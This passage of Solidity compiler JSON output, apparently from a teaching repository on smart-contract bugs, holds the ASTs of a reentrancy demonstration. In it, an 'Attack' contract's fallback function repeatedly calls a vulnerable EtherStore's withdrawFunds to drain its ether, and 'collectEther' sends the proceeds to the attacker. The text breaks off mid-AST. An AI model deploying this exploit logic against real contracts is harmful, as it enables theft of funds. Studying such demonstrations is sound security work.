"formattedMessage": "bit-smartcontract-bug/reentrancy/Attack.sol:20:29: Warning: Using contract member \"balance\" inherited from the address type is deprecated. Convert the contract to \"address\" type to access the member, for example use \"address(contract).balance\" instead.\n msg.sender.transfer(this.balance);\n ^----------^\n", | |
"message": "Using contract member \"balance\" inherited from the address type is deprecated. Convert the contract to \"address\" type to access the member, for example use \"address(contract).balance\" instead.", | |
"severity": "warning", | |
"sourceLocation": { | |
"end": 657, | |
"file": "bit-smartcontract-bug/reentrancy/Attack.sol", | |
"start": 645 | |
}, | |
"type": "Warning" | |
}, | |
{ | |
"component": "general", | |
"formattedMessage": "bit-smartcontract-bug/reentrancy/Attack.sol:25:13: Warning: Using contract member \"balance\" inherited from the address type is deprecated. Convert the contract to \"address\" type to access the member, for example use \"address(contract).balance\" instead.\n if (etherStore.balance > 1 ether) {\n ^----------------^\n", | |
"message": "Using contract member \"balance\" inherited from the address type is deprecated. Convert the contract to \"address\" type to access the member, for example use \"address(contract).balance\" instead.", | |
"severity": "warning", | |
"sourceLocation": { | |
"end": 774, | |
"file": "bit-smartcontract-bug/reentrancy/Attack.sol", | |
"start": 756 | |
}, | |
"type": "Warning" | |
}, | |
{ | |
"component": "general", | |
"formattedMessage": "bit-smartcontract-bug/reentrancy/Attack.sol:6:5: Warning: No visibility specified. Defaulting to \"public\". \n constructor(address _etherStoreAddress) {\n ^ (Relevant source part starts here and spans across multiple lines).\n", | |
"message": "No visibility specified. Defaulting to \"public\". ", | |
"severity": "warning", | |
"sourceLocation": { | |
"end": 276, | |
"file": "bit-smartcontract-bug/reentrancy/Attack.sol", | |
"start": 176 | |
}, | |
"type": "Warning" | |
}, | |
{ | |
"component": "general", | |
"formattedMessage": "bit-smartcontract-bug/reentrancy/Attack.sol:24:5: Warning: No visibility specified. Defaulting to \"public\". \n function () payable {\n ^ (Relevant source part starts here and spans across multiple lines).\n", | |
"message": "No visibility specified. Defaulting to \"public\". ", | |
"severity": "warning", | |
"sourceLocation": { | |
"end": 850, | |
"file": "bit-smartcontract-bug/reentrancy/Attack.sol", | |
"start": 722 | |
}, | |
"type": "Warning" | |
} | |
], | |
"sources": { | |
"bit-smartcontract-bug/reentrancy/Attack.sol": { | |
"ast": { | |
"absolutePath": "bit-smartcontract-bug/reentrancy/Attack.sol", | |
"exportedSymbols": { | |
"Attack": [ | |
72 | |
] | |
}, | |
"id": 73, | |
"nodeType": "SourceUnit", | |
"nodes": [ | |
{ | |
"id": 1, | |
"literals": [ | |
"solidity", | |
"^", | |
"0.4", | |
".26" | |
], | |
"nodeType": "PragmaDirective", | |
"src": "0:24:0" | |
}, | |
{ | |
"absolutePath": "bit-smartcontract-bug/reentrancy/EtherStore.sol", | |
"file": "./EtherStore.sol", | |
"id": 2, | |
"nodeType": "ImportDirective", | |
"scope": 73, | |
"sourceUnit": 155, | |
"src": "25:27:0", | |
"symbolAliases": [], | |
"unitAlias": "" | |
}, | |
{ | |
"baseContracts": [], | |
"contractDependencies": [], | |
"contractKind": "contract", | |
"documentation": null, | |
"fullyImplemented": true, | |
"id": 72, | |
"linearizedBaseContracts": [ | |
72 | |
], | |
"name": "Attack", | |
"nodeType": "ContractDefinition", | |
"nodes": [ | |
{ | |
"constant": false, | |
"id": 4, | |
"name": "etherStore", | |
"nodeType": "VariableDeclaration", | |
"scope": 72, | |
"src": "75:28:0", | |
"stateVariable": true, | |
"storageLocation": "default", | |
"typeDescriptions": { | |
"typeIdentifier": "t_contract$_EtherStore_$154", | |
"typeString": "contract EtherStore" | |
}, | |
"typeName": { | |
"contractScope": null, | |
"id": 3, | |
"name": "EtherStore", | |
"nodeType": "UserDefinedTypeName", | |
"referencedDeclaration": 154, | |
"src": "75:10:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_contract$_EtherStore_$154", | |
"typeString": "contract EtherStore" | |
} | |
}, | |
"value": null, | |
"visibility": "public" | |
}, | |
{ | |
"body": { | |
"id": 15, | |
"nodeType": "Block", | |
"src": "216:60:0", | |
"statements": [ | |
{ | |
"expression": { | |
"argumentTypes": null, | |
"id": 13, | |
"isConstant": false, | |
"isLValue": false, | |
"isPure": false, | |
"lValueRequested": false, | |
"leftHandSide": { | |
"argumentTypes": null, | |
"id": 9, | |
"name": "etherStore", | |
"nodeType": "Identifier", | |
"overloadedDeclarations": [], | |
"referencedDeclaration": 4, | |
"src": "226:10:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_contract$_EtherStore_$154", | |
"typeString": "contract EtherStore" | |
} | |
}, | |
"nodeType": "Assignment", | |
"operator": "=", | |
"rightHandSide": { | |
"argumentTypes": null, | |
"arguments": [ | |
{ | |
"argumentTypes": null, | |
"id": 11, | |
"name": "_etherStoreAddress", | |
"nodeType": "Identifier", | |
"overloadedDeclarations": [], | |
"referencedDeclaration": 6, | |
"src": "250:18:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_address", | |
"typeString": "address" | |
} | |
} | |
], | |
"expression": { | |
"argumentTypes": [ | |
{ | |
"typeIdentifier": "t_address", | |
"typeString": "address" | |
} | |
], | |
"id": 10, | |
"name": "EtherStore", | |
"nodeType": "Identifier", | |
"overloadedDeclarations": [], | |
"referencedDeclaration": 154, | |
"src": "239:10:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_type$_t_contract$_EtherStore_$154_$", | |
"typeString": "type(contract EtherStore)" | |
} | |
}, | |
"id": 12, | |
"isConstant": false, | |
"isLValue": false, | |
"isPure": false, | |
"kind": "typeConversion", | |
"lValueRequested": false, | |
"names": [], | |
"nodeType": "FunctionCall", | |
"src": "239:30:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_contract$_EtherStore_$154", | |
"typeString": "contract EtherStore" | |
} | |
}, | |
"src": "226:43:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_contract$_EtherStore_$154", | |
"typeString": "contract EtherStore" | |
} | |
}, | |
"id": 14, | |
"nodeType": "ExpressionStatement", | |
"src": "226:43:0" | |
} | |
] | |
}, | |
"documentation": null, | |
"id": 16, | |
"implemented": true, | |
"isConstructor": true, | |
"isDeclaredConst": false, | |
"modifiers": [], | |
"name": "", | |
"nodeType": "FunctionDefinition", | |
"parameters": { | |
"id": 7, | |
"nodeType": "ParameterList", | |
"parameters": [ | |
{ | |
"constant": false, | |
"id": 6, | |
"name": "_etherStoreAddress", | |
"nodeType": "VariableDeclaration", | |
"scope": 16, | |
"src": "188:26:0", | |
"stateVariable": false, | |
"storageLocation": "default", | |
"typeDescriptions": { | |
"typeIdentifier": "t_address", | |
"typeString": "address" | |
}, | |
"typeName": { | |
"id": 5, | |
"name": "address", | |
"nodeType": "ElementaryTypeName", | |
"src": "188:7:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_address", | |
"typeString": "address" | |
} | |
}, | |
"value": null, | |
"visibility": "internal" | |
} | |
], | |
"src": "187:28:0" | |
}, | |
"payable": false, | |
"returnParameters": { | |
"id": 8, | |
"nodeType": "ParameterList", | |
"parameters": [], | |
"src": "216:0:0" | |
}, | |
"scope": 72, | |
"src": "176:100:0", | |
"stateMutability": "nonpayable", | |
"superFunction": null, | |
"visibility": "public" | |
}, | |
{ | |
"body": { | |
"id": 41, | |
"nodeType": "Block", | |
"src": "322:256:0", | |
"statements": [ | |
{ | |
"expression": { | |
"argumentTypes": null, | |
"arguments": [ | |
{ | |
"argumentTypes": null, | |
"commonType": { | |
"typeIdentifier": "t_uint256", | |
"typeString": "uint256" | |
}, | |
"id": 23, | |
"isConstant": false, | |
"isLValue": false, | |
"isPure": false, | |
"lValueRequested": false, | |
"leftExpression": { | |
"argumentTypes": null, | |
"expression": { | |
"argumentTypes": null, | |
"id": 20, | |
"name": "msg", | |
"nodeType": "Identifier", | |
"overloadedDeclarations": [], | |
"referencedDeclaration": 169, | |
"src": "379:3:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_magic_message", | |
"typeString": "msg" | |
} | |
}, | |
"id": 21, | |
"isConstant": false, | |
"isLValue": false, | |
"isPure": false, | |
"lValueRequested": false, | |
"memberName": "value", | |
"nodeType": "MemberAccess", | |
"referencedDeclaration": null, | |
"src": "379:9:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_uint256", | |
"typeString": "uint256" | |
} | |
}, | |
"nodeType": "BinaryOperation", | |
"operator": ">=", | |
"rightExpression": { | |
"argumentTypes": null, | |
"hexValue": "31", | |
"id": 22, | |
"isConstant": false, | |
"isLValue": false, | |
"isPure": true, | |
"kind": "number", | |
"lValueRequested": false, | |
"nodeType": "Literal", | |
"src": "392:7:0", | |
"subdenomination": "ether", | |
"typeDescriptions": { | |
"typeIdentifier": "t_rational_1000000000000000000_by_1", | |
"typeString": "int_const 1000000000000000000" | |
}, | |
"value": "1" | |
}, | |
"src": "379:20:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_bool", | |
"typeString": "bool" | |
} | |
} | |
], | |
"expression": { | |
"argumentTypes": [ | |
{ | |
"typeIdentifier": "t_bool", | |
"typeString": "bool" | |
} | |
], | |
"id": 19, | |
"name": "require", | |
"nodeType": "Identifier", | |
"overloadedDeclarations": [ | |
172, | |
173 | |
], | |
"referencedDeclaration": 172, | |
"src": "371:7:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_function_require_pure$_t_bool_$returns$__$", | |
"typeString": "function (bool) pure" | |
} | |
}, | |
"id": 24, | |
"isConstant": false, | |
"isLValue": false, | |
"isPure": false, | |
"kind": "functionCall", | |
"lValueRequested": false, | |
"names": [], | |
"nodeType": "FunctionCall", | |
"src": "371:29:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_tuple$__$", | |
"typeString": "tuple()" | |
} | |
}, | |
"id": 25, | |
"nodeType": "ExpressionStatement", | |
"src": "371:29:0" | |
}, | |
{ | |
"expression": { | |
"argumentTypes": null, | |
"arguments": [], | |
"expression": { | |
"argumentTypes": [], | |
"arguments": [ | |
{ | |
"argumentTypes": null, | |
"hexValue": "31", | |
"id": 31, | |
"isConstant": false, | |
"isLValue": false, | |
"isPure": true, | |
"kind": "number", | |
"lValueRequested": false, | |
"nodeType": "Literal", | |
"src": "491:7:0", | |
"subdenomination": "ether", | |
"typeDescriptions": { | |
"typeIdentifier": "t_rational_1000000000000000000_by_1", | |
"typeString": "int_const 1000000000000000000" | |
}, | |
"value": "1" | |
} | |
], | |
"expression": { | |
"argumentTypes": [ | |
{ | |
"typeIdentifier": "t_rational_1000000000000000000_by_1", | |
"typeString": "int_const 1000000000000000000" | |
} | |
], | |
"expression": { | |
"argumentTypes": null, | |
"expression": { | |
"argumentTypes": null, | |
"id": 26, | |
"name": "etherStore", | |
"nodeType": "Identifier", | |
"overloadedDeclarations": [], | |
"referencedDeclaration": 4, | |
"src": "461:10:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_contract$_EtherStore_$154", | |
"typeString": "contract EtherStore" | |
} | |
}, | |
"id": 29, | |
"isConstant": false, | |
"isLValue": false, | |
"isPure": false, | |
"lValueRequested": false, | |
"memberName": "depositFunds", | |
"nodeType": "MemberAccess", | |
"referencedDeclaration": 97, | |
"src": "461:23:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_function_external_payable$__$returns$__$", | |
"typeString": "function () payable external" | |
} | |
}, | |
"id": 30, | |
"isConstant": false, | |
"isLValue": false, | |
"isPure": false, | |
"lValueRequested": false, | |
"memberName": "value", | |
"nodeType": "MemberAccess", | |
"referencedDeclaration": null, | |
"src": "461:29:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_function_setvalue_nonpayable$_t_uint256_$returns$_t_function_external_payable$__$returns$__$value_$", | |
"typeString": "function (uint256) returns (function () payable external)" | |
} | |
}, | |
"id": 32, | |
"isConstant": false, | |
"isLValue": false, | |
"isPure": false, | |
"kind": "functionCall", | |
"lValueRequested": false, | |
"names": [], | |
"nodeType": "FunctionCall", | |
"src": "461:38:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_function_external_payable$__$returns$__$value", | |
"typeString": "function () payable external" | |
} | |
}, | |
"id": 33, | |
"isConstant": false, | |
"isLValue": false, | |
"isPure": false, | |
"kind": "functionCall", | |
"lValueRequested": false, | |
"names": [], | |
"nodeType": "FunctionCall", | |
"src": "461:40:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_tuple$__$", | |
"typeString": "tuple()" | |
} | |
}, | |
"id": 34, | |
"nodeType": "ExpressionStatement", | |
"src": "461:40:0" | |
}, | |
{ | |
"expression": { | |
"argumentTypes": null, | |
"arguments": [ | |
{ | |
"argumentTypes": null, | |
"hexValue": "31", | |
"id": 38, | |
"isConstant": false, | |
"isLValue": false, | |
"isPure": true, | |
"kind": "number", | |
"lValueRequested": false, | |
"nodeType": "Literal", | |
"src": "563:7:0", | |
"subdenomination": "ether", | |
"typeDescriptions": { | |
"typeIdentifier": "t_rational_1000000000000000000_by_1", | |
"typeString": "int_const 1000000000000000000" | |
}, | |
"value": "1" | |
} | |
], | |
"expression": { | |
"argumentTypes": [ | |
{ | |
"typeIdentifier": "t_rational_1000000000000000000_by_1", | |
"typeString": "int_const 1000000000000000000" | |
} | |
], | |
"expression": { | |
"argumentTypes": null, | |
"id": 35, | |
"name": "etherStore", | |
"nodeType": "Identifier", | |
"overloadedDeclarations": [], | |
"referencedDeclaration": 4, | |
"src": "538:10:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_contract$_EtherStore_$154", | |
"typeString": "contract EtherStore" | |
} | |
}, | |
"id": 37, | |
"isConstant": false, | |
"isLValue": false, | |
"isPure": false, | |
"lValueRequested": false, | |
"memberName": "withdrawFunds", | |
"nodeType": "MemberAccess", | |
"referencedDeclaration": 153, | |
"src": "538:24:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_function_external_nonpayable$_t_uint256_$returns$__$", | |
"typeString": "function (uint256) external" | |
} | |
}, | |
"id": 39, | |
"isConstant": false, | |
"isLValue": false, | |
"isPure": false, | |
"kind": "functionCall", | |
"lValueRequested": false, | |
"names": [], | |
"nodeType": "FunctionCall", | |
"src": "538:33:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_tuple$__$", | |
"typeString": "tuple()" | |
} | |
}, | |
"id": 40, | |
"nodeType": "ExpressionStatement", | |
"src": "538:33:0" | |
} | |
] | |
}, | |
"documentation": null, | |
"id": 42, | |
"implemented": true, | |
"isConstructor": false, | |
"isDeclaredConst": false, | |
"modifiers": [], | |
"name": "pwnEtherStore", | |
"nodeType": "FunctionDefinition", | |
"parameters": { | |
"id": 17, | |
"nodeType": "ParameterList", | |
"parameters": [], | |
"src": "304:2:0" | |
}, | |
"payable": true, | |
"returnParameters": { | |
"id": 18, | |
"nodeType": "ParameterList", | |
"parameters": [], | |
"src": "322:0:0" | |
}, | |
"scope": 72, | |
"src": "282:296:0", | |
"stateMutability": "payable", | |
"superFunction": null, | |
"visibility": "public" | |
}, | |
{ | |
"body": { | |
"id": 54, | |
"nodeType": "Block", | |
"src": "615:50:0", | |
"statements": [ | |
{ | |
"expression": { | |
"argumentTypes": null, | |
"arguments": [ | |
{ | |
"argumentTypes": null, | |
"expression": { | |
"argumentTypes": null, | |
"id": 50, | |
"name": "this", | |
"nodeType": "Identifier", | |
"overloadedDeclarations": [], | |
"referencedDeclaration": 184, | |
"src": "645:4:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_contract$_Attack_$72", | |
"typeString": "contract Attack" | |
} | |
}, | |
"id": 51, | |
"isConstant": false, | |
"isLValue": false, | |
"isPure": false, | |
"lValueRequested": false, | |
"memberName": "balance", | |
"nodeType": "MemberAccess", | |
"referencedDeclaration": null, | |
"src": "645:12:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_uint256", | |
"typeString": "uint256" | |
} | |
} | |
], | |
"expression": { | |
"argumentTypes": [ | |
{ | |
"typeIdentifier": "t_uint256", | |
"typeString": "uint256" | |
} | |
], | |
"expression": { | |
"argumentTypes": null, | |
"expression": { | |
"argumentTypes": null, | |
"id": 45, | |
"name": "msg", | |
"nodeType": "Identifier", | |
"overloadedDeclarations": [], | |
"referencedDeclaration": 169, | |
"src": "625:3:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_magic_message", | |
"typeString": "msg" | |
} | |
}, | |
"id": 48, | |
"isConstant": false, | |
"isLValue": false, | |
"isPure": false, | |
"lValueRequested": false, | |
"memberName": "sender", | |
"nodeType": "MemberAccess", | |
"referencedDeclaration": null, | |
"src": "625:10:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_address", | |
"typeString": "address" | |
} | |
}, | |
"id": 49, | |
"isConstant": false, | |
"isLValue": false, | |
"isPure": false, | |
"lValueRequested": false, | |
"memberName": "transfer", | |
"nodeType": "MemberAccess", | |
"referencedDeclaration": null, | |
"src": "625:19:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_function_transfer_nonpayable$_t_uint256_$returns$__$", | |
"typeString": "function (uint256)" | |
} | |
}, | |
"id": 52, | |
"isConstant": false, | |
"isLValue": false, | |
"isPure": false, | |
"kind": "functionCall", | |
"lValueRequested": false, | |
"names": [], | |
"nodeType": "FunctionCall", | |
"src": "625:33:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_tuple$__$", | |
"typeString": "tuple()" | |
} | |
}, | |
"id": 53, | |
"nodeType": "ExpressionStatement", | |
"src": "625:33:0" | |
} | |
] | |
}, | |
"documentation": null, | |
"id": 55, | |
"implemented": true, | |
"isConstructor": false, | |
"isDeclaredConst": false, | |
"modifiers": [], | |
"name": "collectEther", | |
"nodeType": "FunctionDefinition", | |
"parameters": { | |
"id": 43, | |
"nodeType": "ParameterList", | |
"parameters": [], | |
"src": "605:2:0" | |
}, | |
"payable": false, | |
"returnParameters": { | |
"id": 44, | |
"nodeType": "ParameterList", | |
"parameters": [], | |
"src": "615:0:0" | |
}, | |
"scope": 72, | |
"src": "584:81:0", | |
"stateMutability": "nonpayable", | |
"superFunction": null, | |
"visibility": "public" | |
}, | |
{ | |
"body": { | |
"id": 70, | |
"nodeType": "Block", | |
"src": "742:108:0", | |
"statements": [ | |
{ | |
"condition": { | |
"argumentTypes": null, | |
"commonType": { | |
"typeIdentifier": "t_uint256", | |
"typeString": "uint256" | |
}, | |
"id": 61, | |
"isConstant": false, | |
"isLValue": false, | |
"isPure": false, | |
"lValueRequested": false, | |
"leftExpression": { | |
"argumentTypes": null, | |
"expression": { | |
"argumentTypes": null, | |
"id": 58, | |
"name": "etherStore", | |
"nodeType": "Identifier", | |
"overloadedDeclarations": [], | |
"referencedDeclaration": 4, | |
"src": "756:10:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_contract$_EtherStore_$154", | |
"typeString": "contract EtherStore" | |
} | |
}, | |
"id": 59, | |
"isConstant": false, | |
"isLValue": false, | |
"isPure": false, | |
"lValueRequested": false, | |
"memberName": "balance", | |
"nodeType": "MemberAccess", | |
"referencedDeclaration": null, | |
"src": "756:18:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_uint256", | |
"typeString": "uint256" | |
} | |
}, | |
"nodeType": "BinaryOperation", | |
"operator": ">", | |
"rightExpression": { | |
"argumentTypes": null, | |
"hexValue": "31", | |
"id": 60, | |
"isConstant": false, | |
"isLValue": false, | |
"isPure": true, | |
"kind": "number", | |
"lValueRequested": false, | |
"nodeType": "Literal", | |
"src": "777:7:0", | |
"subdenomination": "ether", | |
"typeDescriptions": { | |
"typeIdentifier": "t_rational_1000000000000000000_by_1", | |
"typeString": "int_const 1000000000000000000" | |
}, | |
"value": "1" | |
}, | |
"src": "756:28:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_bool", | |
"typeString": "bool" | |
} | |
}, | |
"falseBody": null, | |
"id": 69, | |
"nodeType": "IfStatement", | |
"src": "752:92:0", | |
"trueBody": { | |
"id": 68, | |
"nodeType": "Block", | |
"src": "786:58:0", | |
"statements": [ | |
{ | |
"expression": { | |
"argumentTypes": null, | |
"arguments": [ | |
{ | |
"argumentTypes": null, | |
"hexValue": "31", | |
"id": 65, | |
"isConstant": false, | |
"isLValue": false, | |
"isPure": true, | |
"kind": "number", | |
"lValueRequested": false, | |
"nodeType": "Literal", | |
"src": "825:7:0", | |
"subdenomination": "ether", | |
"typeDescriptions": { | |
"typeIdentifier": "t_rational_1000000000000000000_by_1", | |
"typeString": "int_const 1000000000000000000" | |
}, | |
"value": "1" | |
} | |
], | |
"expression": { | |
"argumentTypes": [ | |
{ | |
"typeIdentifier": "t_rational_1000000000000000000_by_1", | |
"typeString": "int_const 1000000000000000000" | |
} | |
], | |
"expression": { | |
"argumentTypes": null, | |
"id": 62, | |
"name": "etherStore", | |
"nodeType": "Identifier", | |
"overloadedDeclarations": [], | |
"referencedDeclaration": 4, | |
"src": "800:10:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_contract$_EtherStore_$154", | |
"typeString": "contract EtherStore" | |
} | |
}, | |
"id": 64, | |
"isConstant": false, | |
"isLValue": false, | |
"isPure": false, | |
"lValueRequested": false, | |
"memberName": "withdrawFunds", | |
"nodeType": "MemberAccess", | |
"referencedDeclaration": 153, | |
"src": "800:24:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_function_external_nonpayable$_t_uint256_$returns$__$", | |
"typeString": "function (uint256) external" | |
} | |
}, | |
"id": 66, | |
"isConstant": false, | |
"isLValue": false, | |
"isPure": false, | |
"kind": "functionCall", | |
"lValueRequested": false, | |
"names": [], | |
"nodeType": "FunctionCall", | |
"src": "800:33:0", | |
"typeDescriptions": { | |
"typeIdentifier": "t_tuple$__$", | |
"typeString": "tuple()" | |
} | |
}, | |
"id": 67, | |
"nodeType": "ExpressionStatement", | |
"src": "800:33:0" | |
} | |
] | |
} | |
} | |
] | |
}, | |
"documentation": null, | |
"id": 71, | |
"implemented": true, | |
"isConstructor": false, | |
"isDeclaredConst": false, | |
"modifiers": [], | |
"name": "", | |
"nodeType": "FunctionDefinition", | |
"parameters": { | |
"id": 56, | |
"nodeType": "ParameterList", | |
"parameters": [], | |
"src": "731:2:0" | |
}, | |
"payable": true, | |
"returnParameters": { | |
"id": 57, | |
"nodeType": "ParameterList", | |
"parameters": [], | |
"src": "742:0:0" | |
}, | |
"scope": 72, | |
"src": "722:128:0", | |
"stateMutability": "payable", | |
"superFunction": null, | |
"visibility": "public" | |
} | |
], | |
"scope": 73, | |
"src": "53:799:0" | |
} | |
], | |
"src": "0:852:0" | |
}, | |
"id": 0 | |
}, | |
"bit-smartcontract-bug/reentrancy/EtherStore.sol": { | |
"ast": { | |
"absolutePath": "bit-smartcontract-bug/reentrancy/EtherStore.sol", | |
"exportedSymbols": { | |
"EtherStore": [ | |
154 | |
] | |
}, | |
"id": 155, | |
"nodeType": "SourceUnit", | |
"nodes": [ | |
{ | |
"id": 74, | |
"literals": [ | |
"solidity", | |
"^", | |
"0.4", | |
".26" | |
], | |
"nodeType": "PragmaDirective", | |
"src": "0:24:1" | |
}, | |
{ | |
"baseContracts": [], | |
"contractDependencies": [], | |
"contractKind": "contract", | |
"documentation": null, | |
"fullyImplemented": true, | |
"id": 154, | |
"linearizedBaseContracts": [ | |
154 | |
], | |
"name": "EtherStore", | |
"nodeType": "ContractDefinition", | |
"nodes": [ | |
{ | |
"constant": false, | |
"id": 77, | |
"name": "withdrawalLimit", | |
"nodeType": "VariableDeclaration", | |
"scope": 154, | |
"src": "51:40:1", | |
"stateVariable": true, | |
"storageLocation": "default", | |
"typeDescriptions": { | |
"typeIdentifier": "t_uint256", | |
"typeString": "uint256" | |
}, | |
"typeName": { | |
"id": 75, | |
"name": "uint256", | |
"nodeType": "ElementaryTypeName", | |
"src": "51:7:1", | |
"typeDescriptions": { | |
"typeIdentifier": "t_uint256", | |
"typeString": "uint256" | |
} | |
}, | |
"value": { | |
"argumentTypes": null, | |
"hexValue": "31", | |
"id": 76, | |
"isConstant": false, | |
"isLValue": false, | |
"isPure": true, | |
"kind": "number", | |
"lValueRequested": false, | |
"nodeType": "Literal", | |
"src": "84:7:1", | |
"subdenomination": "ether", | |
"typeDescriptions": { | |
"typeIdentifier": "t_rational_1000000000000000000_by_1", | |
"typeString": "int_const 1000000000000000000" | |
}, | |
"value": "1" | |
}, | |
"visibility": "public" | |
}, | |
{ | |
"constant": false, | |
"id": 81, | |
"name": "lastWithdrawTime", | |
"nodeType": "VariableDeclaration", | |
"scope": 154, | |
"src": "97:51:1", | |
"stateVariable": true, | |
"storageLocation": "default", | |
"typeDescriptions": { | |
"typeIdentifier": "t_mapping$_t_address_$_t_uint256_$", | |
"typeString": "mapping(address => uint256)" | |
}, | |
"typeName": { | |
"id": 80, | |
"keyType": { | |
"id": 78, | |
"name": "address", | |
"nodeType": "ElementaryTypeName", | |
"src": "105:7:1", | |
"typeDescriptions": { | |
"typeIdentifier": "t_address", | |
"typeString": "address" | |
} | |
}, | |
"nodeType": "Mapping", | |
"src": "97:27:1", | |
"typeDescriptions": { | |
"typeIdentifier": "t_mapping$_t_address_$_t_uint256_$", | |
"typeString": "mapping(address => uint256)" | |
}, | |
"valueType": { | |
"id": 79, | |
"name": "uint256", | |
"nodeType": "ElementaryTypeName", | |
"src": "116:7:1", | |
"typeDescriptions": { | |
"typeIdentifier": "t_uint256", | |
"typeString": "uint256" | |
} | |
} | |
}, | |
"value": null, | |
"visibility": "public" | |
}, | |
{ | |
"constant": false, | |
"id": 85, | |
"name": "balances", | |
"nodeType": "VariableDeclaration", | |
"scope": 154, | |
"src": "154:43:1", | |
"stateVariable": true, | |
"storageLocation": "default", | |
"typeDescriptions": { | |
"typeIdentifier": "t_mapping$_t_address_$_t_uint256_$", | |
"typeString": "mapping(address => uint256)" | |
}, | |
"typeName": { | |
"id": 84, | |
"keyType": { | |
"id": 82, | |
"name": "address", | |
"nodeType": "ElementaryTypeName", | |
"src": "162:7:1", | |
"typeDescriptions": { | |
"typeIdentifier": "t_address", | |
"typeString": "address" | |
} | |
}, | |
"nodeType": "Mapping", | |
"src": "154:27:1", | |
"typeDescriptions": { | |
"typeIdentifier": "t_mapping$_t_address_$_t_uint256_$", | |
"typeString": "mapping(address => uint256)" | |
}, | |
"valueType": { | |
"id": 83, | |
"name": "uint256", | |
"nodeType": "ElementaryTypeName", | |
"src": "173:7:1", | |
"typeDescriptions": { | |
"typeIdentifier": "t_uint256", | |
"typeString": "uint256" | |
} | |
} | |
}, | |
"value": null, | |
"visibility": "public" | |
}, | |
{ | |
"body": { | |
"id": 96, | |
"nodeType": "Block", | |
"src": "243:50:1", | |
"statements": [ | |
{ | |
"expression": { | |
"argumentTypes": null, | |
"id": 94, | |
"isConstant": false, | |
"isLValue": false, | |
"isPure": false, | |
"lValueRequested": false, | |
"leftHandSide": { | |
"argumentTypes": null, | |
"baseExpression": { | |
"argumentTypes": null, | |
"id": 88, | |
"name": "balances", | |
"nodeType": "Identifier", | |
"overloadedDeclarations": [], | |
"referencedDeclaration": 85, | |
"src": "253:8:1", | |
"typeDescriptions": { | |
"typeIdentifier": "t_mapping$_t_address_$_t_uint256_$", | |
"typeString": "mapping(address => uint256)" | |
} | |
}, | |
"id": 91, | |
"indexExpression": { | |
"argumentTypes": null, | |
"expression": { | |
"argumentTypes": null, | |
"id": 89, | |
"name": "msg", | |
"nodeType": "Identifier", | |
"overloadedDeclarations": [], | |
"referencedDeclaration": 169, | |
"src": "262:3:1", | |
"typeDescriptions": { | |
"typeIdentifier": "t_magic_message", | |
"typeString": "msg" | |
} | |
}, | |
"id": 90, | |
"isConstant": false, | |
"isLValue": false, | |
"isPure": false, | |
"lValueRequested": false, | |
"memberName": "sender", | |
"nodeType": "MemberAccess", | |
"referencedDeclaration": null, | |
"src": "262:10:1", | |
"typeDescriptions": { | |
"typeIdentifier": "t_address", | |
"typeString": "address" | |
} | |
}, | |
"isConstant": false, | |
"isLValue": true, | |
"isPure": false, | |
"lValueRequested": true, | |
"nodeType": "IndexAccess", | |
"src": "253:20:1", | |
"typeDescriptions": { | |
"typeIdentifier": "t_uint256", | |
"typeString": "uint256" | |
} | |
}, | |
"nodeType": "Assignment", | |
"operator": "+=", | |
"rightHandSide": { | |
"argumentTypes": null, | |
"expression": { | |
"argumentTypes": null, | |
"id": 92, | |
"name": "msg", | |
"nodeType": "Identifier", | |
"overloadedDeclarations": [], | |
"referencedDeclaration": 169, | |
"src": "277:3:1", | |
"typeDescriptions": { | |
"typeIdentifier": "t_magic_message", | |
"typeString": "msg" | |
} | |
}, | |
"id": 93, | |
"isConstant": false, | |
"isLValue": false, | |
"isPure": false, | |
"lValueRequested": false, | |
"memberName": "value", | |
"nodeType": "MemberAccess", | |
"referencedDeclaration": null, | |
"src": "277:9:1", | |
"typeDescriptions": { | |
"typeIdentifier": "t_uint256", | |
"typeString": "uint256" | |
} | |
}, | |
"src": "253:33:1", | |
"typeDescriptions": { | |
"typeIdentifier": "t_uint256", | |
"typeString": "uint256" | |
} | |
}, | |
"id": 95, | |
"nodeType": "ExpressionStatement", | |
"src": "253:33:1" | |
} | |
] | |
}, | |
"documentation": null, | |
"id": 97, | |
"implemented": true, | |
"isConstructor": false, | |
"isDeclaredConst": false, | |
"modifiers": [], | |
"name": "depositFunds", | |
"nodeType": "FunctionDefinition", | |
"parameters": { | |
"id": 86, | |
"nodeType": "ParameterList", | |
"parameters": [], | |
"src": "225:2:1" | |
}, | |
"payable": true, | |
"returnParameters": { | |
"id": 87, | |
"nodeType": "ParameterList", | |
"parameters": [], | |
"src": "243:0:1" | |
}, | |
"scope": 154, | |
"src": "204:89:1", | |
"stateMutability": "payable", | |
"superFunction": null, | |
"visibility": "public" | |
}, | |
{ | |
"body": { | |
"id": 152, | |
"nodeType": "Block", | |
"src": "354:408:1", | |
"statements": [ | |
{ | |
"expression": { | |
"argumentTypes": null, | |
"arguments": [ | |
{ | |
"argumentTypes": null, | |
